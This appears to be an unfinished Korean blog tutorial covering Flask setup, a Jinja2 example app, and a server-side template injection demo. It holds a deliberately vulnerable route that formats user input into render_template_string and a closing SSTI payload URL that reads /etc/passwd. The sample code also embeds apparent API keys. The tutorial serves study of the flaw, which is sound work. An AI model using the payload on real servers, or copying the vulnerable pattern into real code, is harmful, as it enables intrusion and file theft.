From Installation of Flask to SSTI Exploit
이 글은 Flask 설치부터 SSTI(Server Side Template Injection)의 PoC를 구현에 이르는 과정을 정리하는 내용을 기록할 예정이다. 이 글을 읽는 분들께는 미안하지만, 아직 완성된 글이 아니다.
여러 프로젝트를 한 대의 PC에서 개발하는 경우 모듈의 의존성이 방해가 될 때가 있다. 두 개의 서로 다른 프로젝트를 개발하고 있다고 하자. 공교롭게도 이 두 프로젝트는 같은 모듈을 사용하고 있다. 그런데, 한 프로젝트에서 모듈의 업그레이드가 필요하다. 그런데, 다른 프로젝트는 업그레이드를 하면 정상 동작하지 않다. 이럴 때 사용할 수 있는 툴이 virtualenv 이다. 프로젝트 별로 모듈을 따로 관리한다. NPM이나 Docker를 생각하면 될 것 같다.
1 2 3 4 5 6 |
ubuntu> apt-get install python-virtualenv // or pip install virtualenv ubuntu> mkdir myproject ubuntu> cd myproject ubuntu> virtualenv venv ubuntu> . venv/bin/activate // ↔ deactivate (venv) ubuntu> pip install Flask |
모조리 생략하고, 다음 예제 코드를 보자. 예제코드의 출처는 Flask by Example(Gareth Dwyer)이다. Flask와 템플릿(Jinja2)은 이렇게 사용한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
import feedparser from flask import Flask from flask import render_template from flask import request import json import urllib import urllib2 app = Flask(__name__) RSS_FEEDS = {'bbc': 'http://feeds.bbci.co.uk/news/rss.xml', 'cnn': 'http://rss.cnn.com/rss/edition.rss', 'fox': 'http://feeds.foxnews.com/foxnews/latest', 'iol': 'http://www.iol.co.za/cmlink/1.640'} WEATHER_URL = 'http://api.openweathermap.org/data/2.5/weather?q={}&units=metric&appid=dfaba898552fbf9745198944989187c5' CURRENCY_URL = 'https://openexchangerates.org/api/latest.json?app_id=d263b89e82f248fea303abc57553e576' DEFAULTS = {"publication":"bbc", "city":"Seoul", "currency_from":"USD","currency_to":"KRW"} @app.route('/', methods=['GET', 'POST']) def home(): publication = request.form.get('publication') if not publication: publication = DEFAULTS['publication'] articles = get_news(publication) city = request.args.get('city') if not city: city = DEFAULTS['city'] weather = get_weather(city) currency_from = request.args.get("currency_from") if not currency_from: currency_from = DEFAULTS['currency_from'] currency_to = request.args.get("currency_to") if not currency_to: currency_to = DEFAULTS['currency_to'] rate = get_rate(currency_from, currency_to) return render_template("home.html", articles=articles, weather=weather, currency_from=currency_from, currency_to=currency_to, rate=rate) def get_news(query): if not query or query.lower() not in RSS_FEEDS: publication = DEFAULTS["publication"] else: publication = query.lower() feed = feedparser.parse(RSS_FEEDS[publication]) return feed['entries'] def get_weather(query): query = urllib.quote(query) url = WEATHER_URL.format(query) app.logger.debug(url) data = urllib2.urlopen(url).read() app.logger.debug(data) parsed = json.loads(data) weather = None if parsed.get("weather"): weather = {"description":parsed["weather"][0]["description"],"temperature":parsed["main"]["temp"],"city":parsed["name"]} return weather def get_rate(frm, to): all_currency = urllib2.urlopen(CURRENCY_URL).read() parsed = json.loads(all_currency).get('rates') frm_rate = parsed.get(frm.upper()) to_rate = parsed.get(to.upper()) return to_rate/frm_rate if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
<html> <head> <title>Headlines</title> </head> <body> <h1>Headlines</h1> <h2>Current weather</h2> <form> <input type="text" name="city" placeholder="weather search"> <input type="submit" value="submit"> </form> <p>City: <b>{{weather.city}}</b></p> <p>{{weather.description}} | {{weather.temperature}}℃</p> <h2>Currency</h2> 1 {{currency_from}} = {{currency_to}}{{rate}} <h2>Headlines</h2> <form action="/" method="POST"> <input type="text" name="publication" placeholder="search" /> <input type="submit" value="Submit" /> </form> {% for article in articles %} <b><a href="{{article.link}}">{{article.title}}</a></b><br/> <i>{{article.published}}</i><br/> <p>{{article.summary}}</p> <hr/> {% endfor %} </body> </html> |
주의사항 : 템플릿 파일은 반드시, templates 라는 이름의 폴더 안에 위치해야 한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
from flask import Flask from flask import render_template_string from flask import request app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def home(): user = request.args.get('user') password = 'secret key' if not user: user = 'guest' template = '''Hello %s !!!'''%user app.logger.debug(str) return render_template_string(template) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True) |
위의 예제코드를 실행시키고, 쿼리스트링으로 “/?user={{7*7}}” 을 입력해 보자. 그러면, “Hello 49″가 출력될 것이다.
1 |
http://localhost:5000/?user={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} |